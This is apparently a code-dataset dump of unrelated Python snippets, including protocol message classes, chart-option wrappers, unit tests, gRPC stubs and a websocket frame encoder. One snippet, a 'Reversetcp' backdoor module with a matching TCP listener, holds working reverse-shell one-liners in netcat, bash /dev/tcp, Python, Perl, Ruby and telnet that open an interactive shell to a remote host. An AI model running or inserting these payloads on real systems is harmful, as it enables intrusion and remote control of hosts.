code stringlengths 281 23.7M |
|---|
class bsn_set_aux_cxns_reply(bsn_header):
version = 6
type = 4
experimenter = 6035143
subtype = 59
def __init__(self, xid=None, num_aux=None, status=None):
if (xid != None):
self.xid = xid
else:
self.xid = None
if (num_aux != None):
self.num_aux = num_aux
else:
self.num_aux = 0
if (status != None):
self.status = status
else:
self.status = 0
return
def pack(self):
packed = []
packed.append(struct.pack('!B', self.version))
packed.append(struct.pack('!B', self.type))
packed.append(struct.pack('!H', 0))
packed.append(struct.pack('!L', self.xid))
packed.append(struct.pack('!L', self.experimenter))
packed.append(struct.pack('!L', self.subtype))
packed.append(struct.pack('!L', self.num_aux))
packed.append(struct.pack('!L', self.status))
length = sum([len(x) for x in packed])
packed[2] = struct.pack('!H', length)
return ''.join(packed)
def unpack(reader):
obj = bsn_set_aux_cxns_reply()
_version = reader.read('!B')[0]
assert (_version == 6)
_type = reader.read('!B')[0]
assert (_type == 4)
_length = reader.read('!H')[0]
orig_reader = reader
reader = orig_reader.slice(_length, 4)
obj.xid = reader.read('!L')[0]
_experimenter = reader.read('!L')[0]
assert (_experimenter == 6035143)
_subtype = reader.read('!L')[0]
assert (_subtype == 59)
obj.num_aux = reader.read('!L')[0]
obj.status = reader.read('!L')[0]
return obj
def __eq__(self, other):
if (type(self) != type(other)):
return False
if (self.xid != other.xid):
return False
if (self.num_aux != other.num_aux):
return False
if (self.status != other.status):
return False
return True
def pretty_print(self, q):
q.text('bsn_set_aux_cxns_reply {')
with q.group():
with q.indent(2):
q.breakable()
q.text('xid = ')
if (self.xid != None):
q.text(('%#x' % self.xid))
else:
q.text('None')
q.text(',')
q.breakable()
q.text('num_aux = ')
q.text(('%#x' % self.num_aux))
q.text(',')
q.breakable()
q.text('status = ')
q.text(('%#x' % self.status))
q.breakable()
q.text('}') |
class OptionChartOptions3dFrameSide(Options):
def color(self):
return self._config_get('transparent')
def color(self, text: str):
self._config(text, js_type=False)
def size(self):
return self._config_get(1)
def size(self, num: float):
self._config(num, js_type=False) |
class OptionPlotoptionsHistogramSonificationContexttracksPointgrouping(Options):
def algorithm(self):
return self._config_get('minmax')
def algorithm(self, text: str):
self._config(text, js_type=False)
def enabled(self):
return self._config_get(True)
def enabled(self, flag: bool):
self._config(flag, js_type=False)
def groupTimespan(self):
return self._config_get(15)
def groupTimespan(self, num: float):
self._config(num, js_type=False)
def prop(self):
return self._config_get('y')
def prop(self, text: str):
self._config(text, js_type=False) |
def read_config_from_databricks_secrets(config: dict, dbutils=None) -> dict:
log.debug('Check read config from databricks secrets variables')
out_config = dict()
if (dbutils is None):
log.error('`dbutils` is not defined')
return out_config
try:
scope = config[META_CONFIG_FIELD][DATABRICKS_SECRETS_SCOPE_FIELD]
def _load_variables_from_secrets(variable):
if isinstance(variable, dict):
return {k: _load_variables_from_secrets(v) for (k, v) in variable.items()}
if isinstance(variable, list):
return [_load_variables_from_secrets(v) for v in variable]
return dbutils.secrets.get(scope=scope, key=str(variable))
out_config = {k: _load_variables_from_secrets(v) for (k, v) in config.items() if (k != META_CONFIG_FIELD)}
except KeyError as ex:
log.error(f'Databricks scope field (`{DATABRICKS_SECRETS_SCOPE_FIELD}`) not found in {config[META_CONFIG_FIELD]}: {ex}')
return out_config |
def _add_implementation(metric_cls, cls):
engines = cls.supported_engines()
for engine in engines:
engine_impls = _ImplRegistry.get(engine, {})
if (metric_cls in engine_impls):
raise ValueError(f'Multiple impls of metric {metric_cls}: {engine_impls[metric_cls]} already set, but trying to set {cls}')
engine_impls[metric_cls] = cls
_ImplRegistry[engine] = engine_impls
return cls |
class TestGroupOrdered(unittest.TestCase):
def test_group_ordered(self, func):
self.assertEqual(func(None), None)
print((('Success: ' + func.__name__) + ' None case.'))
self.assertEqual(func([]), [])
print((('Success: ' + func.__name__) + ' Empty case.'))
self.assertEqual(func([1]), [1])
print((('Success: ' + func.__name__) + ' Single element case.'))
self.assertEqual(func([1, 2, 1, 3, 2]), [1, 1, 2, 2, 3])
self.assertEqual(func(['a', 'b', 'a']), ['a', 'a', 'b'])
self.assertEqual(func([1, 1, 2, 3, 4, 5, 2, 1]), [1, 1, 1, 2, 2, 3, 4, 5])
self.assertEqual(func([1, 2, 3, 4, 3, 4]), [1, 2, 3, 3, 4, 4])
print(('Success: ' + func.__name__)) |
class OptionPlotoptionsTreemapSonificationTracksActivewhen(Options):
def crossingDown(self):
return self._config_get(None)
def crossingDown(self, num: float):
self._config(num, js_type=False)
def crossingUp(self):
return self._config_get(None)
def crossingUp(self, num: float):
self._config(num, js_type=False)
def max(self):
return self._config_get(None)
def max(self, num: float):
self._config(num, js_type=False)
def min(self):
return self._config_get(None)
def min(self, num: float):
self._config(num, js_type=False)
def prop(self):
return self._config_get(None)
def prop(self, text: str):
self._config(text, js_type=False) |
class SignalWorkflowExecutionRequest(betterproto.Message):
namespace: str = betterproto.string_field(1)
workflow_execution: v1common.WorkflowExecution = betterproto.message_field(2)
signal_name: str = betterproto.string_field(3)
input: v1common.Payloads = betterproto.message_field(4)
identity: str = betterproto.string_field(5)
request_id: str = betterproto.string_field(6)
control: str = betterproto.string_field(7) |
def configfile_callback(ctx, param, value):
logger = logging.getLogger(__name__)
logger.debug('Click ctx = %s', ctx)
logger.debug('Click param = %s', param)
logger.debug('Click value = %s', value)
path = pathlib.Path(value)
if path.is_file():
return value
logger.warning('Config file not found: %s', value)
return None |
def fortios_log_fortianalyzer_cloud(data, fos):
fos.do_member_operation('log.fortianalyzer-cloud', 'override-setting')
if data['log_fortianalyzer_cloud_override_setting']:
resp = log_fortianalyzer_cloud_override_setting(data, fos)
else:
fos._module.fail_json(msg=('missing task body: %s' % 'log_fortianalyzer_cloud_override_setting'))
return ((not is_successful_status(resp)), (is_successful_status(resp) and (resp['revision_changed'] if ('revision_changed' in resp) else True)), resp, {}) |
class TestUpgradeSharedDependencies(AEATestCaseEmpty):
IS_EMPTY = True
OLD_SOEF_ID = PublicId.from_str('fetchai/soef:0.16.0')
OLD_OEF_SEARCH_ID = PublicId.from_str('fetchai/oef_search:0.13.0')
OLD_OEF_ID = PublicId.from_str('fetchai/oef:0.16.0')
def setup_class(cls):
super().setup_class()
result = cls.run_cli_command('-s', 'add', 'connection', str(cls.OLD_SOEF_ID), cwd=cls._get_cwd())
assert (result.exit_code == 0)
result = cls.run_cli_command('-s', 'add', 'connection', str(cls.OLD_OEF_ID), cwd=cls._get_cwd())
assert (result.exit_code == 0)
def test_upgrade_shared_dependencies(self):
result = self.run_cli_command('-s', 'upgrade', cwd=self._get_cwd())
assert (result.exit_code == 0)
agent_config: AgentConfig = cast(AgentConfig, load_item_config(PackageType.AGENT.value, Path(self.current_agent_context)))
assert (OefSearchMessage.protocol_id in agent_config.protocols)
assert (SOEF_PUBLIC_ID in agent_config.connections)
assert (OEF_PUBLIC_ID in agent_config.connections) |
def load_psc(fullpath, update):
try:
logger = logging.getLogger('script')
wb = load_workbook(filename=fullpath, data_only=True)
ws = wb.active
for (current_row, row) in enumerate(ws.rows):
if ((not row[0].value) or (row[0].value == 'PSC CODE') or ws.row_dimensions[row[0].row].hidden):
continue
psc_code = row[0].value
psc_length = row[1].value
psc_description = row[2].value
psc_start_date = row[3].value
psc_end_date = row[4].value
psc_full_name = row[5].value
psc_excludes = row[6].value
psc_notes = row[7].value
psc_includes = row[8].value
(psc, created) = PSC.objects.get_or_create(code=psc_code)
psc.description = psc_description
psc.length = psc_length
check_start_end_dates(psc, psc_start_date, psc_end_date)
psc.full_name = psc_full_name
psc.excludes = psc_excludes
psc.notes = psc_notes
psc.includes = psc_includes
psc.save()
if update:
update_lengths()
logger.log(20, 'Updated PSC codes.')
except IOError:
logger.error('Could not open file {}'.format(fullpath)) |
_view(('GET', 'POST', 'PUT', 'DELETE'))
_data(permissions=(IsAdminOrReadOnly,))
_required('VMS_VM_BACKUP_ENABLED')
def vm_define_backup(request, hostname_or_uuid, bkpdef, data=None):
vm = get_vm(request, hostname_or_uuid, exists_ok=True, noexists_fail=True)
(disk_id, real_disk_id, zfs_filesystem) = get_disk_id(request, vm, data)
extra = output_extended_backup_count(request, data)
define = get_object(request, BackupDefine, {'name': bkpdef, 'vm': vm, 'disk_id': real_disk_id}, sr=('vm', 'vm__dc', 'node', 'periodic_task', 'periodic_task__crontab'), extra={'select': extra})
return BackupDefineView(request, data=data).response(vm, define, extended=bool(extra)) |
class Query(object):
def CurrentPlan(request, target, options=(), channel_credentials=None, call_credentials=None, insecure=False, compression=None, wait_for_ready=None, timeout=None, metadata=None):
return grpc.experimental.unary_unary(request, target, '/cosmos.upgrade.v1beta1.Query/CurrentPlan', cosmos_dot_upgrade_dot_v1beta1_dot_query__pb2.QueryCurrentPlanRequest.SerializeToString, cosmos_dot_upgrade_dot_v1beta1_dot_query__pb2.QueryCurrentPlanResponse.FromString, options, channel_credentials, insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
def AppliedPlan(request, target, options=(), channel_credentials=None, call_credentials=None, insecure=False, compression=None, wait_for_ready=None, timeout=None, metadata=None):
return grpc.experimental.unary_unary(request, target, '/cosmos.upgrade.v1beta1.Query/AppliedPlan', cosmos_dot_upgrade_dot_v1beta1_dot_query__pb2.QueryAppliedPlanRequest.SerializeToString, cosmos_dot_upgrade_dot_v1beta1_dot_query__pb2.QueryAppliedPlanResponse.FromString, options, channel_credentials, insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
def UpgradedConsensusState(request, target, options=(), channel_credentials=None, call_credentials=None, insecure=False, compression=None, wait_for_ready=None, timeout=None, metadata=None):
return grpc.experimental.unary_unary(request, target, '/cosmos.upgrade.v1beta1.Query/UpgradedConsensusState', cosmos_dot_upgrade_dot_v1beta1_dot_query__pb2.QueryUpgradedConsensusStateRequest.SerializeToString, cosmos_dot_upgrade_dot_v1beta1_dot_query__pb2.QueryUpgradedConsensusStateResponse.FromString, options, channel_credentials, insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
def ModuleVersions(request, target, options=(), channel_credentials=None, call_credentials=None, insecure=False, compression=None, wait_for_ready=None, timeout=None, metadata=None):
return grpc.experimental.unary_unary(request, target, '/cosmos.upgrade.v1beta1.Query/ModuleVersions', cosmos_dot_upgrade_dot_v1beta1_dot_query__pb2.QueryModuleVersionsRequest.SerializeToString, cosmos_dot_upgrade_dot_v1beta1_dot_query__pb2.QueryModuleVersionsResponse.FromString, options, channel_credentials, insecure, call_credentials, compression, wait_for_ready, timeout, metadata) |
class TestVTKXMLReader(unittest.TestCase):
def setUp(self):
e = NullEngine()
e.start()
e.new_scene()
self.e = e
r = VTKXMLFileReader()
r.initialize(get_example_data('cube.vti'))
e.add_source(r)
o = Outline()
e.add_module(o)
cgp1 = ContourGridPlane()
e.add_module(cgp1)
cgp1.grid_plane.position = 1
cgp2 = ContourGridPlane()
cgp2.contour.filled_contours = True
cgp2.grid_plane.axis = 'y'
cgp2.grid_plane.position = 1
e.add_module(cgp2)
cp = ScalarCutPlane()
e.add_module(cp)
ip = cp.implicit_plane
ip.normal = (0, 0, 1)
ip.origin = (0.5, 0.5, 1.0)
ip.widget.origin = (0.5, 0.5, 1.0)
ip.widget.enabled = False
self.scene = e.current_scene
self.cgp2 = cgp2
self.cp = cp
return
def tearDown(self):
self.e.stop()
return
def check(self):
scene = self.scene
src = scene.children[0]
mm = src.children[0]
cgp1 = mm.children[1]
self.assertEqual(cgp1.grid_plane.position, 1)
cgp2 = mm.children[2]
self.assertEqual(cgp2.contour.filled_contours, True)
self.assertEqual(cgp2.grid_plane.axis, 'y')
self.assertEqual(cgp2.grid_plane.position, 1)
cp = mm.children[3]
ip = cp.implicit_plane
self.assertAlmostEqual(numpy.sum((ip.normal - (0, 0, 1))), 1e-16)
self.assertAlmostEqual(numpy.sum((ip.origin - (0.5, 0.5, 1.0))), 0.0)
self.assertEqual(ip.widget.enabled, False)
def test_vtk_xml_reader(self):
self.check()
def test_save_and_restore(self):
engine = self.e
scene = self.scene
f = BytesIO()
f.name = abspath('test.mv2')
engine.save_visualization(f)
f.seek(0)
engine.close_scene(scene)
engine.load_visualization(f)
self.scene = engine.current_scene
self.check()
def test_deepcopied(self):
s = self.scene
source = s.children.pop()
s.children.append(source)
cp = source.children[0].children[(- 1)]
cp.implicit_plane.widget.enabled = False
self.check()
source1 = copy.deepcopy(source)
s.children[0] = source1
cp = source1.children[0].children[(- 1)]
cp.implicit_plane.widget.enabled = False
self.check() |
class BoundingBoxDistance(NamedTuple):
page_number_diff: int = 0
delta_x: float = 0
delta_y: float = 0
euclidean_distance: float = 0
def get_sort_key(self):
return self.euclidean_distance
def is_better_than(self, other: Optional['BoundingBoxDistance']) -> bool:
if (not other):
return True
return (self.get_sort_key() < other.get_sort_key()) |
class AddFeatures(PipelineStep[(DictEntries, DictEntries)]):
def __init__(self, features: Optional[List[str]]) -> None:
super().__init__()
self.features: Set[str] = set((features or []))
def run(self, input: DictEntries, summary: Summary) -> Tuple[(DictEntries, Summary)]:
if (len(self.features) > 0):
log.info('Attaching provided features')
input['issues'] = [issue._replace(features=list((set(issue.features) | self.features))) for issue in input['issues']]
return (input, summary) |
class MemoryRange():
def __init__(self, base: int, size: int, protection: str, data: Optional[bytes]=None):
self.base = base
self.size = size
self.protection = protection
self.data = data
def __str__(self) -> str:
return f'(base=0x{self.base:x}, size=0x{self.size:x}, prot={self.protection})'
def contains(self, addr: int) -> bool:
return (self.base <= addr < (self.base + self.size)) |
.parametrize(('horiz_complex', 'vert_complex'), [((('CG', 1), ('RT', 1), ('DG', 0)), (('CG', 3), ('DG', 2))), ((('CG', 2), ('RT', 2), ('DG', 1)), (('CG', 2), ('DG', 1))), ((('CG', 3), ('RT', 3), ('DG', 2)), (('CG', 1), ('DG', 0))), ((('CG', 2), ('BDM', 1), ('DG', 0)), (('CG', 1), ('DG', 0))), ((('CG', 3), ('BDM', 2), ('DG', 1)), (('CG', 2), ('DG', 1))), ((('CG', 2, 'B', 3), ('BDFM', 2), ('DG', 1)), (('CG', 2), ('DG', 1)))])
def test_feec(extmesh, horiz_complex, vert_complex):
(U0, U1, U2) = horiz_complex
(V0, V1) = vert_complex
mesh = extmesh(2, 2, 4)
if (len(U0) == 2):
U0 = FiniteElement(U0[0], 'triangle', U0[1])
else:
U0_a = FiniteElement(U0[0], 'triangle', U0[1])
U0_b = FiniteElement(U0[2], 'triangle', U0[3])
U0 = NodalEnrichedElement(U0_a, U0_b)
U1 = FiniteElement(U1[0], 'triangle', U1[1])
U2 = FiniteElement(U2[0], 'triangle', U2[1])
V0 = FiniteElement(V0[0], 'interval', V0[1])
V1 = FiniteElement(V1[0], 'interval', V1[1])
run_feec(mesh, U0, U1, U2, V0, V1) |
class TipsShower(QLabel):
def __init__(self, text, targetarea=(0, 0, 0, 0), parent=None, fontsize=35, timeout=1000):
super().__init__(parent)
self.parent = parent
self.area = list(targetarea)
self.timeout = timeout
self.rfont = QFont('', fontsize)
self.setFont(self.rfont)
self.setAttribute(Qt.WA_TransparentForMouseEvents, True)
self.setAttribute(Qt.WA_TranslucentBackground, True)
self.setWindowFlags(((Qt.FramelessWindowHint | Qt.Tool) | Qt.WindowStaysOnTopHint))
self.timer = QTimer(self)
self.timer.timeout.connect(self.hide)
self.setText(text)
self.show()
self.setStyleSheet('color:white')
def set_pos(self, x, y):
(self.area[0], self.area[1]) = [x, y]
def setText(self, text, autoclose=True, font: QFont=None, color: QColor=None) -> None:
super(TipsShower, self).setText(text)
print('settext')
self.adjustSize()
(x, y, w, h) = self.area
if (x < ((QApplication.desktop().width() - x) - w)):
self.move(((x + w) + 5), y)
else:
self.move(((x - self.width()) - 5), y)
self.show()
if autoclose:
self.timer.start(self.timeout)
if (font is not None):
print('')
self.setFont(font)
if (font is not None):
self.setStyleSheet('color:{}'.format(color.name()))
def hide(self) -> None:
super(TipsShower, self).hide()
self.timer.stop()
self.setFont(self.rfont)
self.setStyleSheet('color:white')
def textAreaChanged(self, minsize=0):
self.document.adjustSize()
newWidth = (self.document.size().width() + 25)
newHeight = (self.document.size().height() + 15)
if (newWidth != self.width()):
if (newWidth < minsize):
self.setFixedWidth(minsize)
else:
self.setFixedWidth(newWidth)
if (newHeight != self.height()):
if (newHeight < minsize):
self.setFixedHeight(minsize)
else:
self.setFixedHeight(newHeight) |
def format_value(value):
if isinstance(value, list):
return '[{}]'.format(','.join(map(format_value, value)))
if isinstance(value, dict):
pairs = ['{}: {}'.format(enquote(k), format_value(v)) for (k, v) in value.items()]
return '{{ {items} }}'.format(items=','.join(pairs))
if isinstance(value, (int, float, type(None))):
return str(value)
if isinstance(value, (datetime.datetime, datetime.timedelta, datetime.time, GenericNamedParameterPasser)):
return format_value('<<{}>>'.format(repr(value)))
if (not isinstance(value, six.string_types)):
raise Exception('Cannot format value `{}`: no handler for type {}'.format(str(value), type(value)))
components = split_verbatim(value)
if (len(components) == 1):
return components[0]
result = '({})'.format(' + '.join(components))
if (result == '()'):
return "''"
return result |
.parametrize('elasticapm_client', [{'exit_span_min_duration': '1ms'}], indirect=True)
def test_transaction_fast_exit_span(elasticapm_client):
elasticapm_client.begin_transaction('test_type')
with elasticapm.capture_span(span_type='x', name='x', leaf=True, duration=0.002):
pass
with elasticapm.capture_span(span_type='y', name='y', leaf=True, duration=0.0001):
pass
with elasticapm.capture_span(span_type='z', name='z', leaf=False, duration=0.0001):
pass
elasticapm_client.end_transaction('foo', duration=2.2)
transaction = elasticapm_client.events[constants.TRANSACTION][0]
spans = elasticapm_client.events[constants.SPAN]
breakdown = elasticapm_client.metrics.get_metricset('elasticapm.metrics.sets.breakdown.BreakdownMetricSet')
metrics = list(breakdown.collect())
assert (len(spans) == 2)
assert (transaction['span_count']['started'] == 3)
assert (transaction['span_count']['dropped'] == 1)
assert (metrics[0]['span']['type'] == 'x')
assert (metrics[0]['samples']['span.self_time.sum.us']['value'] == 2000)
assert (metrics[1]['span']['type'] == 'y')
assert (metrics[1]['samples']['span.self_time.sum.us']['value'] == 100) |
def test_return_named_type_with_multiple_simple_types_and_null_in_union():
'
schema = {'type': 'record', 'name': 'my_record', 'fields': [{'name': 'my_union', 'type': ['null', 'string', 'int', {'name': 'foo', 'type': 'record', 'fields': [{'name': 'some_field', 'type': 'int'}]}]}]}
records = [{'my_union': None}, {'my_union': '3'}, {'my_union': 3}, {'my_union': {'some_field': 2}}]
rt_records = roundtrip(fastavro.parse_schema(schema), records, return_named_type=True, return_named_type_override=True)
assert (records == rt_records) |
(boundscheck=False, wraparound=False, cdivision=True, nonecheck=False)
def sigmoid_gamma(img: Auint8, stateimg: Auint8, alpha: float, beta: float):
height = img.shape[0]
width = img.shape[1]
c1 = (1 / (1 + np.exp(beta)))
c2 = ((1 / (1 + np.exp((beta - alpha)))) - c1)
lut: A1dC = np.empty(256, dtype=np.uint8)
for k in range(256):
lut[k] = np.uint8(((((1 / (1 + np.exp((beta - ((k / 255.0) * alpha))))) - c1) * 255) / c2))
for i in range(height):
for j in range(width):
img[(i, j, 0)] = lut[stateimg[(i, j, 0)]]
img[(i, j, 1)] = lut[stateimg[(i, j, 1)]]
img[(i, j, 2)] = lut[stateimg[(i, j, 2)]] |
class encoder(object):
__server_side = None
__mask = None
def __init__(self, server_side=False):
self.__server_side = server_side
def __build_frame(self, message, fin, rsv, opcode):
payload = len(message)
seq = [(((fin << 7) | (rsv << 4)) | opcode)]
if (payload < 126):
t = payload
elif (payload < 65535):
t = 126
else:
t = 127
if (not self.__server_side):
t |= (1 << 7)
seq.append(t)
t_seq = [bytes(seq)]
if (t == 126):
t_seq.append(number2bytes(payload, 2))
if (t == 127):
t_seq.append(number2bytes(payload, 8))
if (not self.__server_side):
self.__mask = os.urandom(4)
t_seq.append(self.__mask)
if self.__server_side:
new_msg = message
else:
n = 0
t_list = list(message)
while (n < payload):
t_list[n] = (t_list[n] ^ self.__mask[(n % 4)])
n += 1
new_msg = bytes(t_list)
t_seq.append(new_msg)
return b''.join(t_seq)
def build_frame(self, message, fin, rsv, opcode):
fin = (fin & 1)
rsv = (rsv & 7)
opcode = (opcode & 15)
return self.__build_frame(message, fin, rsv, opcode)
def build_ping(self):
msg = os.urandom(8)
return self.__build_frame(msg, 1, 0, 9)
def build_pong(self, msg):
return self.__build_frame(msg, 1, 0, 10)
def build_close(self, msg):
return self.__build_frame(msg, 1, 0, 8) |
def test_deferred_message_build_timestamped(mocker: Any) -> None:
mock_time = mocker.patch('labgraph.events.event_generator.time')
mock_time.time.return_value = 0.0
message = DeferredMessage(MyTimestampedMessage, 'unittest_args', kwargs_field='unittest_kwargs')
built = message.build_message()
assert (not hasattr(message, '_args'))
assert (not hasattr(message, '_kwargs'))
assert isinstance(built, MyTimestampedMessage)
expected = MyTimestampedMessage(0.0, 'unittest_args', kwargs_field='unittest_kwargs')
assert (built == expected) |
class MsgServicer(object):
def Grant(self, request, context):
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def Exec(self, request, context):
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def Revoke(self, request, context):
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!') |
class TestNoBodyWithStatus():
()
def body_client(self, asgi):
app = create_app(asgi=asgi)
app.add_route('/error', NoBodyResource())
def no_reps(req, resp, exception):
pass
app.set_error_serializer(no_reps)
return testing.TestClient(app)
def test_data_is_set(self, body_client):
res = body_client.simulate_get('/error')
assert (res.status == falcon.HTTP_IM_A_TEAPOT)
assert (res.status_code == 418)
assert (res.content == b'')
def test_media_is_set(self, body_client):
res = body_client.simulate_post('/error')
assert (res.status == falcon.HTTP_740)
assert (res.content == b'')
def test_body_is_set(self, body_client):
res = body_client.simulate_put('/error')
assert (res.status == falcon.HTTP_701)
assert (res.content == b'') |
class OptionPlotoptionsTreegraphSonificationContexttracksMappingVolume(Options):
def mapFunction(self):
return self._config_get(None)
def mapFunction(self, value: Any):
self._config(value, js_type=False)
def mapTo(self):
return self._config_get(None)
def mapTo(self, text: str):
self._config(text, js_type=False)
def max(self):
return self._config_get(None)
def max(self, num: float):
self._config(num, js_type=False)
def min(self):
return self._config_get(None)
def min(self, num: float):
self._config(num, js_type=False)
def within(self):
return self._config_get(None)
def within(self, value: Any):
self._config(value, js_type=False) |
class Solution():
def shiftGrid(self, grid: List[List[int]], k: int) -> List[List[int]]:
ret = [[None for _ in grid[0]] for _ in grid]
for (i, row) in enumerate(grid):
for (j, elem) in enumerate(row):
(r, c) = divmod((((i * len(row)) + j) + k), len(row))
r = (r % len(grid))
ret[r][c] = elem
return ret |
def test_list_groups() -> None:
config_loader = ConfigLoaderImpl(config_search_path=create_config_search_path('examples/jupyter_notebooks/cloud_app/conf'))
groups = config_loader.list_groups('')
assert (sorted(groups) == ['application', 'cloud_provider', 'db', 'environment', 'hydra'])
assert (sorted(config_loader.list_groups('hydra')) == ['env', 'help', 'hydra_help', 'hydra_logging', 'job_logging', 'launcher', 'output', 'sweeper']) |
class OptionPlotoptionsTimelineSonificationTracksMappingHighpass(Options):
def frequency(self) -> 'OptionPlotoptionsTimelineSonificationTracksMappingHighpassFrequency':
return self._config_sub_data('frequency', OptionPlotoptionsTimelineSonificationTracksMappingHighpassFrequency)
def resonance(self) -> 'OptionPlotoptionsTimelineSonificationTracksMappingHighpassResonance':
return self._config_sub_data('resonance', OptionPlotoptionsTimelineSonificationTracksMappingHighpassResonance) |
class MyStore(Store):
def __getitem__(self, key):
...
def __setitem__(self, key, value):
...
def __delitem__(self, key):
...
def __iter__(self):
...
def __len__(self):
...
def apply_changelog_batch(self, *args, **kwargs):
...
def reset_state(self):
...
async def backup_partition(self, tp, flush: bool=True, purge: bool=False, keep: int=1) -> None:
...
def restore_backup(self, tp, latest: bool=True, backup_id: int=0) -> None:
... |
class Reversetcp(Module):
def init(self):
self.register_info({'author': ['Emilio Pinna'], 'license': 'GPLv3'})
self.register_vectors([ShellCmd('sleep 1; rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|${shell} -i 2>&1|nc ${lhost} ${port} >/tmp/f', name='netcat_bsd', target=Os.NIX, background=True), ShellCmd('sleep 1; nc -e ${shell} ${lhost} ${port}', name='netcat', target=Os.NIX, background=True), PythonCode('\n import socket,subprocess,os\n s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(("${lhost}", ${port}))\n os.dup2(s.fileno(), 0)\n os.dup2(s.fileno(), 1)\n os.dup2(s.fileno(), 2)\n p = subprocess.call(["${shell}", "-i"])\n ', name='python', target=Os.NIX, background=True), ShellCmd("sleep 1; /bin/bash -c '${shell} 0</dev/tcp/${lhost}/${port} 1>&0 2>&0'", name='devtcp', target=Os.NIX, background=True), ShellCmd('perl -e \'use Socket;$i="${lhost}";$p=${port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("${shell} -i");};\'', name='perl', target=Os.NIX, background=True), ShellCmd('ruby -rsocket -e\'f=TCPSocket.open("${lhost}",${port}).to_i;exec sprintf("${shell} -i <&%d >&%d 2>&%d",f,f,f)\'', name='ruby', target=Os.NIX, background=True), ShellCmd('sleep 1;rm -rf /tmp/backpipe;mknod /tmp/backpipe p;telnet ${lhost} ${port} 0</tmp/backpipe | ${shell} 1>/tmp/backpipe', name='telnet', target=Os.NIX, background=True), PythonCode('\n import socket,pty,os\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect(("${lhost}", ${port}))\n os.dup2(s.fileno(), 0)\n os.dup2(s.fileno(), 1)\n os.dup2(s.fileno(), 2)\n pty.spawn("${shell}")\n ', name='python_pty', target=Os.NIX, background=True)])
self.register_arguments([{'name': 'lhost', 'help': 'Local host'}, {'name': 'port', 'help': 'Port to spawn', 'type': int}, {'name': '-shell', 'help': 'Specify shell', 'default': '/bin/sh'}, {'name': '-no-autoconnect', 'help': 'Skip autoconnect', 'action': 'store_true', 'default': False}, {'name': '-vector', 'choices': self.vectors.get_names()}])
def run(self, **kwargs):
for vector in self.vectors:
if (self.args.get('vector') and (self.args.get('vector') != vector.name)):
continue
vector.run(self.args)
if self.args.get('no_autoconnect'):
continue
try:
tcpserver = TcpServer(self.args['port'])
except socket.timeout as e:
log.debug(messages.module_backdoor_reversetcp.error_timeout)
continue |
class TcpServer():
def __init__(self, port):
self.connect = False
self.hostname = '0.0.0.0'
self.port = port
self.socket_state = False
self.socket = None
self.connect_socket()
if (not self.socket):
return
self.forward_data()
def connect_socket(self):
if self.connect:
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.connect((self.hostname, self.port))
else:
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
server.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1)
except socket.error:
pass
try:
server.bind(('0.0.0.0', self.port))
except socket.error as e:
log.error((messages.module_backdoor_reversetcp.error_binding_socket_s % str(e)))
return
server.listen(1)
server.settimeout(3)
try:
(self.socket, address) = server.accept()
except socket.timeout as e:
server.close()
raise
def forward_data(self):
log.warn(messages.module_backdoor_reversetcp.reverse_shell_connected)
self.socket.setblocking(0)
while 1:
(read_ready, write_ready, in_error) = select.select([self.socket, sys.stdin], [], [self.socket, sys.stdin])
try:
buf = self.socket.recv(100)
while (buf != ''):
self.socket_state = True
sys.stdout.write(buf.decode('utf-8', 'replace'))
sys.stdout.flush()
buf = self.socket.recv(100)
if (buf == ''):
return
except socket.error:
pass
while 1:
(r, w, e) = select.select([sys.stdin], [], [], 0)
if (len(r) == 0):
break
c = sys.stdin.read(1)
if (c == ''):
return
if (self.socket.sendall(c.encode('utf-8')) != None):
return |
def extractTokkiscansWordpressCom(item):
badwords = ['Releases']
if any([(bad in item['tags']) for bad in badwords]):
return None
(vol, chp, frag, postfix) = extractVolChapterFragmentPostfix(item['title'])
if ((not (chp or vol)) or ('preview' in item['title'].lower())):
return None
tagmap = [('PRC', 'PRC', 'translated'), ('Loiterous', 'Loiterous', 'oel')]
for (tagname, name, tl_type) in tagmap:
if (tagname in item['tags']):
return buildReleaseMessageWithType(item, name, vol, chp, frag=frag, postfix=postfix, tl_type=tl_type)
if (item['tags'] == ['Novel']):
titlemap = [('The Monster Duchess and Contract Princess', 'The Monster Duchess and Contract Princess', 'translated'), ('Tensei Shoujo no Rirekisho', 'Tensei Shoujo no Rirekisho', 'translated'), ('Master of Dungeon', 'Master of Dungeon', 'oel')]
for (titlecomponent, name, tl_type) in titlemap:
if (titlecomponent.lower() in item['title'].lower()):
return buildReleaseMessageWithType(item, name, vol, chp, frag=frag, postfix=postfix, tl_type=tl_type)
return False |
def convert_freesurfer_annot(subject_id, label_name, fs_folder, dest_mesh_settings):
for (hemisphere, structure) in [('L', 'CORTEX_LEFT'), ('R', 'CORTEX_RIGHT')]:
fs_annot = os.path.join(fs_folder, 'label', '{}h.{}.annot'.format(hemisphere.lower(), label_name))
if os.path.exists(fs_annot):
label_gii = label_file(subject_id, label_name, hemisphere, dest_mesh_settings)
run(['mris_convert', '--annot', fs_annot, os.path.join(fs_folder, 'surf', '{}h.white'.format(hemisphere.lower())), label_gii], suppress_stderr=True, dryrun=DRYRUN)
run(['wb_command', '-set-structure', label_gii, structure], dryrun=DRYRUN)
run(['wb_command', '-set-map-names', label_gii, '-map', '1', '{}_{}_{}'.format(subject_id, hemisphere, label_name)], dryrun=DRYRUN)
run(['wb_command', '-gifti-label-add-prefix', label_gii, '{}_'.format(hemisphere), label_gii], dryrun=DRYRUN) |
